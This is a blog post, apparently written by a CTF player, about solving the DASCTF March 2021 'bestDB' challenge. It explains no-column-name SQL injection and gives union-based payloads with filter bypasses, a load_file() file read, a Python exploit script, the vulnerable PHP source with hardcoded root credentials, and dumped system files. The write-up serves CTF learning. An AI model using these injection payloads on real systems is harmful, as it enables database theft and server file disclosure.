sql注入的姿势
以DASCTF三月赛为例,记录下无列名注入。
无列名查询
例如join进行无列名注入,现在有张表table
如下
id | username | password | question | token |
---|---|---|---|---|
1 | 1a | 1b | 1c | 1d |
2 | 2a | 2b | 2c | 2d |
3 | 3a | 3b | 3c | 3d |
正常在数据库查询,表名需带反引号,在php端中并不需要
select * from table;
假设不知道列名,通过union查询,需猜测列数,这里为5列
select 1,2,3,4,5 union select * from table;
如图所示,列名被替换成了数字,
1(派生表列1) | 2(派生表列2) | 3(派生表列3) | 4(派生表列4) | 5(派生表列5) |
---|---|---|---|---|
1(原id) | 2(原username) | 3(原password) | 4(原question) | 5(原token) |
1 | 1a | 1b | 1c | 1d |
2 | 2a | 2b | 2c | 2d |
3 | 3a | 3b | 3c | 3d |
我们可以进一步用数字来对应列查询
select `2` from (select 1,2,3,4,5 union select * from table)a;
如果反引号被过滤,同样继续用别名代替
select c from (select 1,2 as b,3,4 as c,5 as d union select * from table)a;
此时派生表如下
1(派生表列1) | b(原派生表列2) | 3(派生表列3) | c(原派生表列4) | d(派生表列5) |
---|---|---|---|---|
1(原id) | 2(原username) | 3(原password) | 4(原question) | 5(原token) |
1 | 1a | 1b | 1c | 1d |
2 | 2a | 2b | 2c | 2d |
3 | 3a | 3b | 3c | 3d |
同时查询多个列
select concat(b,0x2d,c) from (select 1,2 as b,3 as c,4,5 union select * from `table`)a;
0x2d
为-
以下是比赛WP
DASCTF三月赛·bestDB
由于电脑崩了:( bp和网页都没了,只能凭我写了
进去一个查询框,题目名字有db,肯定是注入了。
注释中发现hint
<!-- SELECT * FROM users WHERE id = '$query' OR username = \"$query\" --!>
这就建个数据库测试,经测试发现ban了空格和单引号,测试出了payload
-1"union/**/select/**/1,2,3"
回显位为1和2,改改以前的脚本,查数据库名
-1"union/**/select/**/1,database(),3"
# databases==========>users
查表名
-1"union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),3"
# tables==========>f1agdas,users
无列名查询(其实直接查就好,本人复习一下之前的知识)
-1"union/**/select/**/1,(select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/f1agdas/**/limit/**/1,1)a),3"
# data==========>flag.txt
查到f1agdas
表里有个flag.txt
,应该是利用load_file()
函数读取文件,查了下用户
-1"union/**/select/**/1,user(),3"
# user==========>'root'@'localhost'
肯定有权限了,读了index.php
和dbConnect.php
,给复现的师傅参考
// index.php
<?php
error_reporting(0);
include 'dbConnect.php';
$query = $_GET['query'];
$blacklist = [' ', '\'', 'flag', 'delete', 'drop', 'update'];
foreach ($blacklist as $item){
if (preg_match("/".$item."/i", $query)){
die('Forbidden!!!');
}
}
if (isset($_GET['query'])) {
$sql = "SELECT * FROM users WHERE id = '$query' OR username = \"$query\"";
$result = $mysqli->query($sql);
$data = $result->fetch_all();
echo "<table border='1' width='600px' cellpadding='0' cellspacing='0' align='center' style='margin-top: 20px; margin-left: 33%'><tr><th>ID</th><th>UserName</th></tr>";
if (!empty($data)) {
foreach ($data as $k){
if (empty($k)){
}else{
echo "<tr><td>{$k[0]}</td><td>{$k[1]}</td></tr>";
}
}
}
echo "</table>";
}
?>
// dbConnect.php
<?php
$serve = '127.0.0.1';
$username = 'root';
$password = 'root';
$dbname = 'users';
$mysqli = new Mysqli($serve,$username,$password,$dbname);
if($mysqli->connect_error){
die('connect error:'.$mysqli->connect_errno);
}
$mysqli->set_charset('UTF-8'); // 设置数据库字符集
读取根目录下flag,由于ban了flag
,转十六进制即可
-1"union/**/select/**/1,hex(load_file(0x2f666c6167)),3"
hex('/flag')=='0x2f666c6167'
结束了
附上小脚本,虽然没啥用
"""
-*- coding: utf-8 -*-
@File: exp.py
@Author: gyy
@Time: 3月 27, 2021
"""
import requests
import time
url = "http://ea4d13de-db0a-41e5-b303-a843bd51a27b.machine.dasctf.com/?query="
def req(payload):
print(payload)
res = requests.get(url+payload).content.decode('utf-8')
if "Forbidden" in res:
return "Forbidden"
else:
try:
return res.split("<table border='1' width='600px' cellpadding='0' cellspacing='0' align='center' style='margin-top: 20px; margin-left: 33%'>")[1]
except:
return "right"
def database():
payload = "-1\"union select 1,database(),3\"".replace(" ", "/**/")
res = req(payload)
print(res)
# databases==========>users
def table():
payload = "-1\"union select 1,(select group_concat(table_name) from information_schema.tables where table_schema like database()),3\"".replace(" ", "/**/")
res = req(payload)
print(res)
# tables==========>f1agdas,users
def columns():
payload = "-1\"union select 1,(select `2` from (select 1,2 union select * from f1agdas limit 1,1)a),3\"".replace(" ", "/**/")
res = req(payload)
print(res)
# flag.columns==========>flag.txt
def data():
payload = "-1\"union select 1,hex(load_file(0x2f666c6167)),3\"".replace(" ", "/**/")
res = req(payload)
print(res)
if __name__ == "__main__":
# database()
# table()
# columns()
data()
以下是本人的碎碎念和反思,师傅们可以跳过惹
经验不足,最后还是没能出这简单题。一方面也是平台的问题,实在太卡了:(
数据库里写的flag.txt
,最后却在根目录/flag
。尝试过十六进制/flag
读取,可能是因为太卡了,没成功就没再试了,以为就是flag.txt
。盲猜有人拿到注入题直接sqlmap开始跑(因为之前我也干过),导致服务器负载太大,或者说运维去三亚了2333
还尝试了读取一堆无用的东西,以为和 [网鼎杯 2018]Comment 一样
# @@datadir
# /var/lib/mysql/
# @@basedir
# /usr/
# /etc/host
# 127.0.0.1 localhost
# ::1 localhost ip6-localhost ip6-loopback
# fe00::0 ip6-localnet
# ff00::0 ip6-mcastprefix
# ff02::1 ip6-allnodes
# ff02::2 ip6-allrouters
# 192.168.0.114 9fa7a3d75b4f
# /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# bin:x:2:2:bin:/bin:/usr/sbin/nologin
# sys:x:3:3:sys:/dev:/usr/sbin/nologin
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/usr/sbin/nologin
# man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
# lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
# mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
# news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
# uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
# proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
# list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
# irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
# gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
# nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
# _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
# mysql:x:101:101:MySQL Server,,,:/var/lib/mysql/:/bin/false
没有线索,盲猜读了个start.sh
#!/bin/bash
rm -rf /var/run/mysqld/mysqld.sock.lock
rm -rf /tmp/mysql.sock
usermod -d /var/lib/mysql/ mysql
ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock
chown -R mysql:mysql /var/lib/mysql
mysqld_safe &
mysql_ready() {
mysqladmin ping --socket=/run/mysqld/mysqld.sock --user=root --password=root > /dev/null 2>&1
}
while !(mysql_ready)
do
echo "waiting for mysql ..."
sleep 3
done
mysql -e "ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'root';flush privileges;" -uroot -proot
if [[ -f /db.sql ]]; then
mysql -e "source /db.sql" -uroot -proot
rm -f /db.sql
fi
if [[ -f /flag.sh ]]; then
source /flag.sh
fi
apache2-foreground
然后开始爆/proc/[id]/fd/[id]
一去不复返了。平台弄卡也有我的一份~
甚至还读了apache配置文件等等等,实在是经验不足,还是本人太菜了2333
做个反思吧,也许哪天羞耻心爆发这段就给我删了。
写给他人明鉴,写给自己反思。
评论请遵守评论公德,博主会不定时检查评论并进行回复。